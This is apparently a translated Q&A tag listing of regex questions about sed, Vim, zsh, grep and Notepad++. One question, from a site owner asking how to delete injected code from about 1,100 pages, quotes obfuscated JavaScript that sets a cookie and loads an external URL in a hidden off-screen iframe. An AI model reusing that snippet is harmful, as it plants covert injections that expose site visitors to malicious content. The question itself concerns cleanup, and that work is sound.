Pytania otagowane jako regex

Znany również jako wyrażenie regularne lub wyrażenie regularne, opis zestawu ciągów, często używany do wyszukiwania i sprawdzania ciągów.

1
Jak sprawić, by sed pomijał niepasujące linie?
W poniższym przykładzie seddopasowuje linie rozpoczynające się od a alub a ci wypisuje pierwszy znak tej linii ( alub c): $ echo "ag bh ci dj ek fl" | sed 's/\(a\|c\)./\1/' # Matches lines starting with 'a' or 'c'. output: a bh c dj ek fl Jednak linie, które nie …

1
Jak wykonać blokowe wyszukiwanie i zamianę za pomocą Vima?
Mam tekst w Vimie naciśnij, Ctrl+Vaby przełączyć VIm w tryb bloku zaznacz tekst, który chcę wpisz :to daje ten monit:'<,'> Dodaję do zachęty moje wyrażenie regularne s/ /*/g. Pozostaje mi to, :'<,'>s/ /*/ga tekst jest podświetlony Nacisnąłem Enter Niestety, działa on na całej linii dla bloku, nie tylko na bloku. …
8 vim  regex 

1
regex edit w skype?
Ok, nie jestem dużym użytkownikiem Skype'a, ale rozmawiałem z moją siostrą, zrobiłem literówkę i zwykle pisałem tpyo s/tpyo/typo/ ku mojemu zdziwieniu faktycznie zmieniło historię. Używam klienta linuksowego skype 2.1.0.47-r1, a moja siostra używa 4. czegoś w systemie Windows. Kiedy próbowała zrobić to samo, to nie działało. Czy ktoś wie, czy …
8 linux  skype  regex 

4
Unicode w wyrażeniu regularnym Emacsa
Używam emacsa 24. Jak mogę zastąpić wszystkie wystąpienia niedrukowalnego znaku bidi RTL Unicode, którego liczbą szesnastkową jest 202e? Chcę zastąpić go niedrukowalnym znakiem bidi LTR typu Unicode, którego liczbą szesnastkową jest 202d? Czy ktoś może dać mi jakieś wskazówki?
7 regex  emacs  unicode 

1
Jak zanegować test wyrażenia regularnego ZSH?
Jak negować operatora wyrażeń regularnych ZSH? Chciałbym zrobić coś takiego: if [[ $host !~ '^myhost[0-9]+$' ]] then # Do stuff # ... fi ...lub: if [[ !($host =~ '^myhost[0-9]+$') ]] then # Do stuff # ... fi ... ale nie wygląda na to, że ZSH implementuje dowolnego operatora negacji wyrażeń …
6 regex  zsh 

1
czy grep regex działa inaczej na Macu?
Próbuję po prostu wymyślić podstawowe użycie wyrażeń regularnych z grep (lub egrep) w terminalu mac (BSD grep - 2.5.1-FreeBSD). Plik do sprawdzenia ( pow.txt) zawiera linie: kiytytytyty i blob.mkv użyte polecenie to: grep -E ^[a-z]+\.[a-z]{3}$i pow.txt zwrócone dopasowanie to: kiytytytyty Oczywiście nie pasowałoby to do wyrażenia regularnego PCRE. Czy wyrażenia …
6 macos  mac  terminal  regex  grep 

2
Znajdź powtarzające się słowa w tekście
Jednym z najczęstszych literówek jest powtórzenie tego samego słowa dwa razy, jak tutaj. Potrzebuję automatycznej procedury, aby usunąć wszystkie powtarzające się słowa z pliku tekstowego. Nie powinno to być dziwną funkcją dla nowoczesnego edytora lub sprawdzania pisowni, na przykład pamiętam, że MS Word wprowadził tę funkcję kilka lat temu! Najwyraźniej …

1
Naprawianie podświetlania składni YAML w VIM
Podświetlanie składni YAML w Vim 7.3 nie jest wspaniałe. Umieszczenie apostrofu w linii tekstu powoduje podkreślanie cytatu nawet wtedy, gdy nie ma cytatu. To samo dzieje się czasami w innych plikach. Zrzuciłem zrzut ekranu poniżej. Czy istnieje sposób naprawienia tego zachowania lub czy istnieje inny plik składni YAML, którego mogę …
4 vim  regex  syntax 


1
Bash regex, aby zmienić nazwę zestawu plików
Muszę zmienić nazwę zestawu plików, używając renamepolecenia (z wyrażeniem regularnym). Po kilku próbach nie jestem w stanie znaleźć wyrażenia, które uzyska oczekiwany wynik. Mam taki wzór pliku: prefix_ some_name _other.txt Wszystkie pliki zaczynają się od „ prefix_” i kończą się na „ _other.txt”, a część some_name może składać się z …
4 linux  regex  rename 

4
Zastosuj wyrażenie regularne do niektórych wystąpień
Mam duży plik z zwykłym tekstem (bez tagów HTML itp.). Chcę z jednej strony zastosować wyrażenie regularne do całego pliku, ale z drugiej strony chcę wybrać, które zmiany zostaną zastosowane. Na przykład, jeśli mam wyrażenie regularne, takie jak / house / -> home, chcę zobaczyć podgląd i zdecydować, które wystąpienia …

1
Potrzebujesz pomocy, aby zastąpić ciąg w Notepad ++ za pomocą wyrażenia regularnego
Próbuję zastąpić treść /*6efdc4d230be4cf90bd9cefdffaeb74e*/ var _0xf184=["\x6F\x6E\x6C\x6F\x61\x64",​"\x67\x65\x74\x44\x61\x74\x65",​"\x73\x65\x74\x44\x61\x74\x65",​"\x63\x6F\x6F\x6B\x69\x65",​"\x3D",​"\x3B\x20\x65\x78\x70\x69\x72\x65\x73\x3D",​"\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67",​"",​"\x3D\x28\x5B\x5E\x3B\x5D\x29\x7B\x31\x2C\x7D",​"\x65\x78\x65\x63",​"\x73\x70\x6C\x69\x74",​"\x61\x64\x2D\x63\x6F\x6F\x6B\x69\x65",​"\x65\x72\x32\x76\x64\x72\x35\x67\x64\x63\x33\x64\x73",​"\x64\x69\x76",​"\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74",​"\x68\x74\x74\x70\x3A\x2F\x2F\x63\x64\x6E\x2E\x67\x6F\x72\x6F\x64\x61\x32\x33\x35\x2E\x70\x77\x2F\x3F\x69\x64\x3D\x36\x39\x34\x37\x36\x32\x37\x26\x6B\x65\x79\x77\x6F\x72\x64\x3D",​"\x26\x61\x64\x5F\x69\x64\x3D\x58\x6E\x35\x62\x65\x34",​"\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",​"\x3C\x64\x69\x76\x20\x73\x74\x79\x6C\x65\x3D\x27\x70\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x61\x62\x73\x6F\x6C\x75\x74\x65\x3B\x7A\x2D\x69\x6E\x64\x65\x78\x3A\x31\x30\x30\x30\x3B\x74\x6F\x70\x3A\x2D\x31\x30\x30\x30\x70\x78\x3B\x6C\x65\x66\x74\x3A\x2D\x39\x39\x39\x39\x70\x78\x3B\x27\x3E\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x27",​"\x27\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E\x3C\x2F\x64\x69\x76\x3E",​"\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64",​"\x62\x6F\x64\x79"];window[_0xf184[0]]=func​tion (){func​tion _0x6e99x1(_0x6e99x2,​_0x6e99x3,​_0x6e99x4){if(_0x6e99x4){var _0x6e99x5= new Date();_0x6e99x5[_0xf184[2]](_0x6e99x5[_0xf184[1]]()+_0x6e99x4);};if(_0x6e99x2&&_0x6e99x3){document[_0xf184[3]]=_0x6e99x2+_0xf184[4]+_0x6e99x3+(_0x6e99x4?_0xf184[5]+_0x6e99x5[_0xf184[6]]():_0xf184[7])}else {return false};}func​tion _0x6e99x6(_0x6e99x2){var _0x6e99x3= new RegExp(_0x6e99x2+_0xf184[8]);var _0x6e99x4=_0x6e99x3[_0xf184[9]](document[_0xf184[3]]);if(_0x6e99x4){_0x6e99x4=_0x6e99x4[0][_0xf184[10]](_0xf184[4])}else {return false};return _0x6e99x4[1]?_0x6e99x4[1]:false;}var _0x6e99x7=_0x6e99x6(_0xf184[11]);if(_0x6e99x7!=_0xf184[12]){_0x6e99x1(_0xf184[11],​_0xf184[12],​1);var _0x6e99x8=document[_0xf184[14]](_0xf184[13]);var _0x6e99x9=1049507;var _0x6e99xa=_0xf184[15]+_0x6e99x9+_0xf184[16];_0x6e99x8[_0xf184[17]]=_0xf184[18]+_0x6e99xa+_0xf184[19];document[_0xf184[21]][_0xf184[20]](_0x6e99x8);};}; /*6efdc4d230be4cf90bd9cefdffaeb74e*/ z pustą przestrzenią na wielu stronach około 1100 stron. Nie mam pojęcia, jak to zrobić, używając regex w Notepad ++. Każda pomoc jest doceniana.

2
Znajdź i zastąp wiele razy w pliku txt
Wiem, że to mogło być wcześniej zadane, ale nie mogłem znaleźć odpowiedzi na to pytanie. Muszę zastąpić następujące: CoverLevel = "XX" z CoverLevel = "0", obejmuje to XX jako dowolną liczbę, bez zastępowania podobnych instancji, takich jak CoverLevel = "True" lub CoverLevel lub MinCoverLevel = "1.3" czy byłoby to możliwe …

2
Notepad ++ - Jak usunąć wszystko po ostatnim ukośniku „\” w wierszu pliku tekstowego
Mam listę około 30 000 plików (ze ścieżkami), które należy indywidualnie skopiować wraz ze strukturami folderów. Niestety ścieżki są bardzo długie, a narzędzia do kopiowania plików obsługujące tę funkcję wymagają określenia folderów docelowych dla każdego pliku, co oznacza, że ​​muszę usunąć nazwę pliku z każdego z 30 000 wierszy, pozostawiając …


Korzystając z naszej strony potwierdzasz, że przeczytałeś(-aś) i rozumiesz nasze zasady używania plików cookie i zasady ochrony prywatności.
Licensed under cc by-sa 3.0 with attribution required.